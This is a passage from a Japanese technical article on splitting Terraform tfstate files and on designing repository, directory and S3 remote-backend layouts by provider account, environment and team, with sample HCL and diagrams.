の設計リポジトリ分割ここまでで、tfstateファイル分割について簡単に紹介しました。リポジトリの分割は、tfstateファイル分割に基づいて設計しましょう。可能であれば、1個のリポジトリに1個のtfstateファイルをおくことが望ましいです。異なるリポジトリにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83D\uDC31 foo-repository/├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する...\uD83D\uDC31 bar-repository/├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する...ディレクトリ \uD83D\uDCC2 構成リポジトリ内のディレクトリ構成も、tfstateファイル分割に基づいて設計しましょう。率直に言うと、Terraformのディレクトリ構成のパターンは無数にあります。そのため、基準なしにディレクトリ構成を考えると何でもあり になってしまいます。その一方で、tfstateファイル分割に基づいて設計することにより、明確なディレクトリ構成パターン として抽出可能になります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ...▶ ローカルモジュールのディレクトリ構成の設計についてresource、data) のセットを使い回すことを目的とした、ローカルモジュールがあります。今回、これのディレクトリ構成は設計に含めていません。混同しやすいのですが、tfstateファイル分割に基づくディレクトリ構成とローカルモジュール内のそれは、全く別のテーマとして切り離して考えることができます\uD83D\uDC4Dリモートバックエンド \uD83E\uDEA3 の設計リモートバックエンド分割本記事では、リモートバックエンドとしてAWS S3バケットを使用することを想定しています。リモートバックエンドの分割は、tfstateファイル分割に基づいて設計しましょう。異なるリモートバックエンドにtfstateファイルをおいた方がよい場合については、分割パターン で説明しています。\uD83E\uDEA3 foo-bucket/│└── terraform.tfstate # fooコンポーネントの状態を持つ\uD83E\uDEA3 bar-bucket/│└── terraform.tfstate # barコンポーネントの状態を持つディレクトリ構成もし、リモートバックエンドをtfstateファイル分割に基づいて分割しなかったとします。その場合は、代わりにリモートバックエンド内のディレクトリ構成をtfstateファイル分割に基づいて設計しましょう。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo/│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar/ └── terraform.tfstate # barコンポーネントの状態を持つ05. 状態の依存関係の定義方法terraform_remote_stateブロックの場合terraform_remote_stateブロックによる依存terraform_remote_stateブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 - terraform_remote_stateブロックに加えてoutputブロックも実装が必要であり、outputブロックは依存先のAWSリソースが一見してわかりにくい。 拡張性 依存先のAWSリソースに関わらず、同じterraform_remote_stateブロックを使い回せる。 - 保守性 - 依存先と依存元の間でTerraformのバージョンに差がありすぎると、tfstateファイル間で互換性がなくなり、terraform_remote_stateブロックの処理が失敗する。 本記事では、 terraform_remote_state ブロックを使用して、状態の依存関係を定義 していきます。tfstateファイルが他のtfstateファイルに依存する方法として、後述のAWSリソース別dataブロックがあります。The terraform_remote_state Data Source | Terraform | HashiCorp Developer状態の依存関係図例えば、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: terraform_remote_stateブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。ディレクトリの設計方法は、分割パターン で説明しています。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── remote_state.tf # terraform_remote_stateブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。resource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.terraform_remote_state.bar.outputs.bar_vpc_id ...}data \\"terraform_remote_state\\" \\"bar\\" { backend = \\"s3\\" config = { bucket = \\"tfstate\\" key = \\"bar/terraform.tfstate\\" region = \\"ap-northeast-1\\" }}# VPCの状態は、bar-tfstate ファイルで持つoutput \\"bar_vpc_id\\" { value = aws_vpc.bar.id}resource \\"aws_vpc\\" \\"bar\\" { ...}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つAWSリソース別dataブロックの場合AWSリソース別dataブロックによる依存AWSリソース別dataブロックには、以下のメリデメがあります。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 可読性 依存先のAWSリソースがわかりやすい。 - 拡張性 - 依存先のAWSリソース別dataブロックが必要である。 保守性 依存先と依存元の間でTerraformのバージョンに差があっても、tfstateファイル間で直接的に依存するわけではないため、バージョン差の影響を受けない。 - 今回は使用しませんが、依存関係の他の定義方法として、AWSリソース別dataブロックがあります。これは、tfstateファイルが自身以外 (例:コンソール画面、他のtfstateファイル) で作成されたAWSリソースの状態に依存するために使用できます。terraform_remote_stateブロックとは異なり、直接的にはtfstateファイルに依存しません。AWSリソース別dataブロックの場合は、実際のAWSリソースの状態に依存することにより、間接的にAWSリソースのtfstateファイルに依存することになります。Data Sources - Configuration Language | Terraform | HashiCorp Developer状態の依存関係図例えば、AWSリソース別dataブロックも同様にして、AWSリソースからなるプロダクトをいくつかのtfstateファイル (foo-tfstate、bar-tfstate) に分割したと仮定します。ここで仮定した状況では、bar-tfstateファイルはVPCの状態を持っており、 foo-tfstate ファイルは bar-tfstate ファイルに依存しているとします。想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: dataブロックを使用した依存関係---%%{init:{\'theme\':\'default\'}}%%flowchart TD subgraph bucket foo[\\"foo-tfstate\\"] bar[\\"bar-tfstate\\"] end foo -. VPCの状態に依存 .-> barリポジトリのディレクトリ構成ディレクトリ構成は、tfstateファイル分割に基づいて、以下の通りになります。\uD83D\uDC31 repository/├── \uD83D\uDCC2 foo/│ ├── backend.tf # fooコンポーネントの状態を持つ tfstate ファイルを指定する│ ├── data.tf # dataブロックを使用し、bar-tfstate ファイルに依存する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 bar/ ├── backend.tf # barコンポーネントの状態を持つ tfstate ファイルを指定する ├── provider.tf ...foo-tfstateファイルがbar-tfstateファイルに依存するために必要な実装は、以下の通りになります。# fooリソースの状態は、foo-tfstate ファイルで持つresource \\"example\\" \\"foo\\" { # fooリソースは、bar-tfstate ファイルのVPCに依存する vpc_id = data.aws_vpc.bar.id}# VPCの状態は、bar-tfstate ファイルで持つdata \\"aws_vpc\\" \\"bar\\" { filter { name = \\"tag:Name\\" values = [\\"\\"] }}リモートバックエンドのディレクトリ構成tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 foo│ └── terraform.tfstate # fooコンポーネントの状態を持つ│└── \uD83D\uDCC2 bar └── terraform.tfstate # barコンポーネントの状態を持つ06. tfstate ファイルの分割パターンオススメな設計の一覧前述の通り、tfstateファイルの分割の境界は、『他の状態にできるだけ依存しないリソースの関係』から見つけることができます。分割しすぎると terraform_remote_stateブロック地獄 になるため、細かすぎず粗すぎない適切な境界を見つけていきましょう。今回は、私が考える分割パターンをいくつか紹介します。全てが実用的なパターンというわけでないため、オススメするものを ★ としています。推奨・任意 tfstate分割パターン大分類 tfstate分割パターン小分類オススメ 対応するリポジトリ構成 \uD83D\uDC31 対応するリモートバックエンド構成 \uD83E\uDEA3 推奨 上層 プロバイダーのアカウント別 ★★★ リポジトリ自体または上層ディレクトリ リモートバックエンド自体または上層ディレクトリ 下層実行環境別 ★★★ 下層ディレクトリ 下層ディレクトリ 任意 中間層 運用チーム責務範囲別 ★★ 中間層ディレクトリ 中間層ディレクトリ プロダクトのサブコンポーネント別 ★★ 運用チーム責務範囲別\xd7プロダクトのサブコンポーネント別(組み合わせ) ★ 同じテナント内のプロダクト別 AWSリソースの種類グループ別 AWSリソースの状態の変更頻度グループ別 大分類 (上層/下層/中間層) とディレクトリ構成の関係リポジトリの場合記事内のここ で、リポジトリ内のディレクトリ構成はtfstateファイル分割に基づいて設計するべき、という説明をしました。tfstateファイルの分割パターンは、上層/下層/中間層 の層に大別できます。これらの層は、以下の通りリポジトリ自体・ディレクトリ構成の設計方法に影響します。# リポジトリ自体を分割する場合\uD83D\uDC31 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ ...│ │...# リポジトリ内のディレクトリを分割する場合\uD83D\uDC31 リポジトリ/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ ├── backend.tfvars # 分割された tfstate ファイルを指定する│ │ │ ...│ │ │...リモートバックエンドの場合記事内のここ で、リモートバックエンドのディレクトリ構成についても言及しました。これらの層は、以下の通りリモートバックエンド自体・ディレクトリ構成の設計方法に影響します。# リモートバックエンド自体を分割する場合\uD83E\uDEA3 上層/├── \uD83D\uDCC2 中間層/│ ├── \uD83D\uDCC2 下層/│ │ └── terraform.tfstate # 分割された状態を持つ│ ││ │...# リモートバックエンド内のディレクトリを分割する場合\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 上層/│ ├── \uD83D\uDCC2 中間層/│ │ ├── \uD83D\uDCC2 下層/│ │ │ └── terraform.tfstate # 分割された状態を持つ│ │ ││ │ │...07. 上層の分割 (推奨)上層の分割について上層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。プロバイダーのアカウント別 - ★★★この分割方法について上層分割の中でも、基本的な方法の1つです。プロバイダーのアカウント別にtfstateファイルを分割し、上層もこれに基づいて設計します。この分割方法により、各プロバイダーの管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。▶ おすすめ度についてtfstateファイルで状態を管理せざるを得ない場合があります。例えば、Kubernetesのプロバイダーは、EKSと同じtfstateファイルで管理した方がよいです\uD83D\uDC4DTerraform Registry【プロバイダーアカウント別】状態の依存関係図例えば、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー (AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各プロバイダーの tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: プロバイダーのアカウント別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS aws[\\"tfstate\\"] end aws -...-> datadog aws -...-> healthchecks aws -...-> pagerDuty datadog -...-> aws healthchecks -...-> aws pagerDuty -...-> aws【プロバイダーアカウント別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 datadog-repository/├── backend.tf # Datadogの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 healthchecks-repository/├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...\uD83D\uDC31 pagerduty-repository/├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf...▼ 同じリポジトリの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── backend.tf # AWSの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 datadog/│ ├── backend.tf # Datadogの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│├── \uD83D\uDCC2 healthchecks/│ ├── backend.tf # Healthchecksの状態を持つ tfstate ファイルを指定する│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ...│└── \uD83D\uDCC2 pagerduty/ ├── backend.tf # PagerDutyの状態を持つ tfstate ファイルを指定する ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ...【プロバイダーアカウント別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 aws-bucket/│└── terraform.tfstate # AWSの状態を持つ\uD83E\uDEA3 datadog-bucket/│└── terraform.tfstate # Datadogの状態を持つ\uD83E\uDEA3 healthchecks-bucket/│└── terraform.tfstate # Healthchecksの状態を持つ\uD83E\uDEA3 pagerduty-bucket/│└── terraform.tfstate # PagerDutyの状態を持つ▼ 同じリモートバックエンドの場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws│ └── terraform.tfstate # AWSの状態を持つ│├── \uD83D\uDCC2 datadog│ └── terraform.tfstate # Datadogの状態を持つ│├── \uD83D\uDCC2 healthchecks│ └── terraform.tfstate # Healthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty └── terraform.tfstate # PagerDutyの状態を持つ08. 下層の分割 (推奨)下層の分割について下層の分割は 推奨 です。Terraformに携わる管理者の数が少なくても採用した方がよいです。tfstateファイルをパターンに応じて分割し、これに基づいてディレクトリ・リモートバックエンドも設計しましょう。実行環境別 - ★★★この分割方法について下層分割の中でも、基本的な方法の1つです。実行環境別にtfstateファイルを分割し、下層もこれに基づいて設計します。この分割方法により、各実行環境の管理者が互いに影響を受けずに、terraformコマンドの結果を得られるようになります。Terraform: Up and Running: Writing Infrastructure as CodeHow to manage Terraform state. A guide to file layout, isolation, and… | by Yevgeniy Brikman | Gruntwork▶ おすすめ度について【実行環境別】状態の依存関係図例えば、以下の実行環境を構築したい状況と仮定します。Tes環境 (検証環境)Stg環境 (ユーザー受け入れ環境)Prd環境 (本番環境)かつ、以下のプロバイダーを使用したい状況と仮定します。主要プロバイダー (AWS)アプリ/インフラ監視プロバイダー (Datadog)ジョブ監視プロバイダー (Healthchecks)インシデント管理プロバイダー (PagerDuty)ここで仮定した状況では、各実行環境の tfstate ファイルは他の実行環境には依存していないとします。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 実行環境別---%%{init:{\'theme\':\'default\'}}%%flowchart LR subgraph PagerDuty pagerDuty[\\"tfstate\\"] end subgraph Healthchecks healthchecks[\\"tfstate\\"] end subgraph Datadog datadog[\\"tfstate\\"] end subgraph AWS subgraph tes-bucket tes[\\"tfstate\\"] end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end tes -...-> datadog tes -...-> healthchecks tes -...-> pagerDuty datadog -...-> tes healthchecks -...-> tes pagerDuty -...-> tes【実行環境別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 aws-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境└── \uD83D\uDCC2 prd/ # Prd環境\uD83D\uDC31 datadog-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 healthchecks-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # HealthchecsのTes環境の状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/\uD83D\uDC31 pagerduty-repository/├── output.tf # 他の tfstate ファイルから依存される├── remote_state.tf # terraform_remote_state ブロックを使用する├── provider.tf├── \uD83D\uDCC2 tes/│ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/└── \uD83D\uDCC2 prd/▼ 同じリポジトリの場合プロバイダーアカウント別にtfstateファイルを分割することは推奨としているため、その上でディレクトリ構成を考えます。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83D\uDC31 repository/├── \uD83D\uDCC2 aws/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # Tes環境のAWSリソースの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のDatadogの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── provider.tf│ ├── \uD83D\uDCC2 tes/│ │ ├── backend.tfvars # Tes環境のHealthchecksの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── provider.tf ├── \uD83D\uDCC2 tes/ │ ├── backend.tfvars # Tes環境のPagerDutyの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/【実行環境別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合実行環境別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。例えば、前述の依存関係図の状況と仮定します。\uD83E\uDEA3 tes-aws-bucket/│└── terraform.tfstate # Tes環境のAWSリソースの状態を持つ\uD83E\uDEA3 tes-datadog-bucket/│└── terraform.tfstate # Tes環境のDatadogの状態を持つ\uD83E\uDEA3 tes-healthchecks-bucket/│└── terraform.tfstate # Tes環境のHealthchecksの状態を持つ\uD83E\uDEA3 tes-pagerduty-bucket/│└── terraform.tfstate # Tes環境のPagerDutyの状態を持つ▼ 同じリモートバックエンド x AWSアカウント別に異なる実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、AWSアカウント別に異なる実行環境を作成していると仮定します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 aws/│ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│├── \uD83D\uDCC2 datadog/│ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│├── \uD83D\uDCC2 healthchecks/│ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│└── \uD83D\uDCC2 pagerduty/ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ# Stg環境の状態のみを管理するバケット\uD83E\uDEA3 stg-bucket/│...# Prd環境の状態のみを管理するバケット\uD83E\uDEA3 prd-bucket/│...▼ 同じリモートバックエンド x 単一のAWSアカウント内に全ての実行環境 の場合プロバイダーアカウント別に分割したtfstateファイルを、同じリモートバックエンドで管理します。また、単一のAWSアカウント内に全実行環境を作成しているとします。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。前述の依存関係図の状況と仮定します。\uD83E\uDEA3 bucket/├── \uD83D\uDCC2 aws/│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ └── terraform.tfstate # Tes環境のAWSリソースの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ └── \uD83D\uDCC2 prd/ # Prd環境│├── \uD83D\uDCC2 datadog/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のDatadogの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│├── \uD83D\uDCC2 healthchecks/│ ├── \uD83D\uDCC2 tes/│ │ └── terraform.tfstate # Tes環境のHealthchecksの状態を持つ│ ││ ├── \uD83D\uDCC2 stg/│ └── \uD83D\uDCC2 prd/│└── \uD83D\uDCC2 pagerduty/ ├── \uD83D\uDCC2 tes/ │ └── terraform.tfstate # Tes環境のPagerDutyの状態を持つ │ ├── \uD83D\uDCC2 stg/ └── \uD83D\uDCC2 prd/09. 中間層の分割 (任意)中間層の分割について中間層の分割は 任意 です。Terraformに携わる管理者が多くなるほど、効力を発揮します。運用チーム責務範囲別 - ★★この分割方法について運用チーム (例:アプリチーム、インフラチーム) のAWSリソースの責務範囲別でtfstateファイルを分割し、中間層もこれに基づいて設計します。この分割方法により、各運用チームが互いに影響を受けずに、terraformコマンドの結果を得られるようになります。AWS CloudFormation best practices - AWS CloudFormationTerraform in Action (English Edition)▶ おすすめ度について【チーム別】状態の依存関係図例えば、以下の運用チームに分割した状況と仮定します。frontendチーム (アプリのフロントエンド領域担当)backendチーム (アプリのバックエンド領域担当)sreチーム (インフラ領域担当)ここで仮定した状況では、各チームが管理する tfstate ファイル間で状態が相互に依存しているとします。AWSリソース間の相互依存ではないため、循環参照は起こりません。そのため、想定される状態の依存関係図は以下の通りになります。なお、依存方向は状況によって異なることをご容赦ください。---title: 運用チーム責務範囲別---%%{init:{\'theme\':\'default\'}}%%flowchart TB subgraph AWS subgraph tes-bucket frontend[\\"frontend-team-tfstate
(CloudFront, S3, など)\\"] backend[\\"backend-team-tfstate
(API Gateway, ElastiCache, RDS, SES, SNS, など)\\"] sre[\\"sre-team-tfstate
(ALB, CloudWatch, EC2, ECS, EKS, IAM, VPC, など)\\"] frontend-..->sre backend-..->sre sre-..->frontend sre-..->backend end subgraph stg-bucket stg[\\"tfstate\\"] end subgraph prd-bucket prd[\\"tfstate\\"] end end【チーム別】リポジトリのディレクトリ構成▼ 異なるリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、同じリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-frontend-team-repository/ # frontendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── cloudfront.tf├── s3.tf├── \uD83D\uDCC2 tes/ # Tes環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg/ # Stg環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd/ # Prd環境 ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-backend-team-repository/ # backendチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── elasticache.tf├── ses.tf├── sns.tf├── rds.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する ...\uD83D\uDC31 aws-sre-team-repository/ # sreチーム├── output.tf # 他の tfstate ファイルから依存される├── provider.tf├── remote_state.tf # terraform_remote_state ブロックを使用する├── alb.tf├── cloudwatch.tf├── ec2.tf├── ecs.tf├── eks.tf├── iam.tf├── vpc.tf├── \uD83D\uDCC2 tes│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 stg│ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...▼ 同じリポジトリの場合この場合では、運用チーム責務範囲別に分割したtfstateファイルを、異なるリポジトリで管理します。例えば、tfstateファイル分割に基づいて、リポジトリのディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。\uD83D\uDC31 aws-repository/├── \uD83D\uDCC2 frontend-team # frontendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── cloudfront.tf│ ├── s3.tf│ ├── \uD83D\uDCC2 tes/ # Tes環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg/ # Stg環境│ │ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd/ # Prd環境│ ├── backend.tfvars # frontendチームの状態を持つ tfstate ファイルを指定する│ ...│├── \uD83D\uDCC2 backend-team # backendチーム│ ├── provider.tf│ ├── output.tf # 他の tfstate ファイルから依存される│ ├── remote_state.tf # terraform_remote_state ブロックを使用する│ ├── elasticache.tf│ ├── ses.tf│ ├── sns.tf│ ├── rds.tf│ ├── \uD83D\uDCC2 tes│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ ├── \uD83D\uDCC2 stg│ │ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ │ ...│ ││ └── \uD83D\uDCC2 prd│ ├── backend.tfvars # backendチームの状態を持つ tfstate ファイルを指定する│ ...│└── \uD83D\uDCC2 sre-team # sreチーム ├── provider.tf ├── output.tf # 他の tfstate ファイルから依存される ├── remote_state.tf # terraform_remote_state ブロックを使用する ├── alb.tf ├── cloudwatch.tf ├── ec2.tf ├── ecs.tf ├── eks.tf ├── iam.tf ├── vpc.tf ├── \uD83D\uDCC2 tes │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ ├── \uD83D\uDCC2 stg │ ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する │ ... │ └── \uD83D\uDCC2 prd ├── backend.tfvars # sreチームの状態を持つ tfstate ファイルを指定する ...【チーム別】リモートバックエンドのディレクトリ構成▼ 異なるリモートバックエンドの場合運用チーム責務範囲別の場合、異なるリモートバックエンドで管理するとバックエンドが増え過ぎてしまいます。そのため、これはお勧めしません。▼ 同じリモートバックエンドの場合この場合では、プロバイダーアカウント別に分割したtfstateファイルを、異なるリモートバックエンドで管理します。例えば、tfstateファイル分割に基づいて、リモートバックエンド内のディレクトリ構成例は以下の通りになります。この例では、状態の依存関係図と同じ状況を仮定しています。# Tes環境の状態のみを管理するバケット\uD83E\uDEA3 tes-bucket/├── \uD83D\uDCC2 